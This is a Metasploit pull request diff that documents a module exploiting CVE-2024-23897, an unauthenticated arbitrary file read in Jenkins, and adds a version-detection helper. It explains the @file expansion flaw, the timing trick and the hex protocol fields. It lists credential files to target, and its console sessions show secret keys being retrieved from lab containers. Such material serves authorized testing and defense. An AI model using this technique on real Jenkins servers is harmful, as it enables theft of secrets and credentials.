Land rapid7#18764, Add unauth Jenkins file read module

This PR adds a new module to exploit CVE-2024-23897, an unauth arbitrary
(first 2 lines) file read on Jenkins.

documentation/modules/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read.md

@@ -0,0 +1,135 @@
+## Vulnerable Application
+
+This module utilizes the Jenkins cli protocol to run the `help` command.
+The cli is accessible with read-only permissions by default, which are
+all thats required.
+
+Jenkins cli utilizes `args4j's` `parseArgument`, which calls `expandAtFiles` to
+replace any `@<filename>` with the contents of a file. We are then able to retrieve
+the error message to read up to the first two lines of a file.
+
+Exploitation by hand can be done with the cli, see markdown documents for additional
+instructions.
+
+There are a few exploitation oddities:
+1. The injection point for the `help` command requires 2 input arguments.
+When the `expandAtFiles` is called, each line of the `FILE_PATH` becomes an input argument.
+If a file only contains one line, it will throw an error: `ERROR: You must authenticate to access this Jenkins.`
+However, we can pad out the content by supplying a first argument.
+2. There is a strange timing requirement where the `download` (or first) request must get
+to the server first, but the `upload` (or second) request must be very close behind it.
+From testing against the docker image, it was found values between `.01` and `1.9` were
+viable. Due to the round trip time of the first request and response happening before
+request 2 would be received, it is necessary to use threading to ensure the requests
+happen within rapid succession.
+
+Files of value:
+
+ * /var/jenkins_home/secret.key
+ * /var/jenkins_home/secrets/master.key
+ * /var/jenkins_home/secrets/initialAdminPassword
+ * /etc/passwd
+ * /etc/shadow
+ * Project secrets and credentials
+ * Source code, build artifacts
+
+Vulnerable versions include:
+
+ * < 2.442
+ * LTS < 2.426.3
+
+### Protocol Breakdown
+
+A few samples of the protocol that was observed, how to generate it, and the breakdown of fields.
+
+|                                           | **Generator**                                                                    | **Heading**                  | **Pad (1)**      | **Unknown (len(@file_name) + 2)** | **len(@file_name)** | **@** | **file_name**            | **Unknown**  | **len(encoding)** | **UTF-8**  | **Unknown**  | **len(locality)** | **en_US**  | **footer** |
+|-------------------------------------------|----------------------------------------------------------------------------------|------------------------------|------------------|-------------|---------------------|-------|--------------------------|--------------|-------------------|------------|--------------|-------------------|------------|------------|
+| **no pad multi line file (/tmp/file.22)** | java -jar jenkins-cli.jar -s http://localhost:8080/ -http help "@/tmp/test.22"   | 0000000600000468656c70000000 |                  | 0f0000      | 0d                  | 40    | 2f746d702f746573742e3232 | 000000070200 | 05                | 5554462d38 | 000000070100 | 05                | 656e5f5553 | 0000000003 |
+| **no pad single line file (/tmp/file.1)** | java -jar jenkins-cli.jar -s http://localhost:8080/ -http help "@/tmp/test.1"    | 0000000600000468656c70000000 |                  | 0e0000      | 0c                  | 40    | 2f746d702f746573742e31   | 000000070200 | 05                | 5554462d38 | 000000070100 | 05                | 656e5f5553 | 0000000003 |
+| **pad multi line file (/tmp/file.22)**    | java -jar jenkins-cli.jar -s http://localhost:8080/ -http help 1 "@/tmp/test.22" | 0000000600000468656c70000000 | 0300000131000000 | 0f0000      | 0d                  | 40    | 2f746d702f746573742e3232 | 000000070200 | 05                | 5554462d38 | 000000070100 | 05                | 656e5f5553 | 0000000003 |
+| **pad single line file (/tmp/file.1)**    | java -jar jenkins-cli.jar -s http://localhost:8080/ -http help 1 "@/tmp/test.1"  | 0000000600000468656c70000000 | 0300000131000000 | 0e0000      | 0c                  | 40    | 2f746d702f746573742e31   | 000000070200 | 05                | 5554462d38 | 000000070100 | 05                | 656e5f5553 | 0000000003 |
+
+### Docker Setup
+
+Version 2.440: `docker run -p 8080:8080 -p 50000:50000 jenkins/jenkins:2.440-jdk17`
+
+LTS Version 2.426.2: `docker run -p 8080:8080 -p 50000:50000 jenkins/jenkins:2.426.2-lts`
+
+## Verification Steps
+
+1. Install the application
+1. Start msfconsole
+1. Do: `use auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read`
+1. Do: `set rhost [ip]`
+1. Do: `run`
+1. You should get the first two lines of the `FILE_PATH`
+
+## Options
+
+### FILE_PATH
+
+File path to read from the server. Defaults to `/etc/passwd`.
+
+Other files which may be of value:
+ * `/var/jenkins_home/secret.key`
+ * `/var/jenkins_home/secrets/master.key`
+ * `/var/jenkins_home/secrets/initialAdminPassword`
+ * `/etc/passwd`
+ * `/etc/shadow`
+ * Project secrets and credentials
+ * Source code, build artifacts
+
+### DELAY
+
+Delay between first and second request to ensure first request gets there on time, but the second request is very quickly behind it.
+Defaults to `0.5`
+
+Testing against the docker image showed values between `.01` and `1.9` were successful.
+
+### ENCODING
+
+Encoding to use for reading the file. This may mangle binary files. Defaults to `UTF-8`
+
+### LOCALITY
+
+Locality to use for reading the file. This may mangle binary files. Defaults to `en_US`
+
+## Scenarios
+
+### jenkins 2.440-jdk17 on Docker
+
+```
+msf6 > use auxiliary/gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read
+msf6 auxiliary(gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read) > set rhost 127.0.0.1
+rhost => 127.0.0.1
+msf6 auxiliary(gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read) > set file_path /var/jenkins_home/secrets/initialAdminPassword
+file_path => /var/jenkins_home/secrets/initialAdminPassword
+msf6 auxiliary(gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read) > run
+[*] Running module against 127.0.0.1
+
+[*] Sending requests with UUID: ed148f4d-709a-4d16-a452-4509f3a37ed6
+[*] Re-attempting with padding for single line output file
+[+] /var/jenkins_home/secrets/initialAdminPassword file contents retrieved (first line or 2):
+f5d5f6e98e1f466aad22c0f81ca48fb0
+[+] Results saved to: /root/.msf4/loot/20240130204021_default_127.0.0.1_jenkins.file_717110.txt
+[*] Auxiliary module execution completed
+```
+
+### jenkins 2.426.2-lts on Docker
+
+```
+msf6 > use auxiliary/gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read
+msf6 auxiliary(gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read) > set rhost 127.0.0.1
+rhost => 127.0.0.1
+msf6 auxiliary(gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read) > set file_path /var/jenkins_home/secret.key
+file_path => /var/jenkins_home/secret.key
+msf6 auxiliary(gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read) > run
+[*] Running module against 127.0.0.1
+
+[*] Sending requests with UUID: 0d69c3f1-7695-4db1-a0c6-08108f33e339
+[*] Re-attempting with padding for single line output file
+[+] /var/jenkins_home/secret.key file contents retrieved (first line or 2):
+6ce26592ad3683cc8d056bea07ffa2696f1b14f0db64dbd122c50ab930e279ad
+[+] Results saved to: /root/.msf4/loot/20240130204241_default_127.0.0.1_jenkins.file_317409.txt
+[*] Auxiliary module execution completed
+```

lib/msf/core/exploit/remote/http/jenkins.rb

@@ -6,6 +6,27 @@ class Remote
       module HTTP
         # This module provides a way of logging into Jenkins
         module Jenkins
+          # Returns the Jenkins version.
+          #
+          # @return [String] Jenkins version.
+          # @return [NilClass] No Jenkins version found.
+          def jenkins_version
+            uri = normalize_uri(target_uri.path)
+            res = send_request_cgi({ 'uri' => uri })
+
+            unless res
+              return nil 
+            end
+
+            # shortcut for new versions such as 2.426.2 and 2.440
+            return res.headers['X-Jenkins'] if res.headers['X-Jenkins']
+
+            html = res.get_html_document
+            version_attribute = html.at('body').attributes['data-version']
+            version = version_attribute ? version_attribute.value : ''
+            version.scan(/jenkins-([\d.]+)/).flatten.first
+          end
+
           # This method takes a target URI and makes a request to verify if logging in is possible,
           # otherwise it will fail gracefully
           #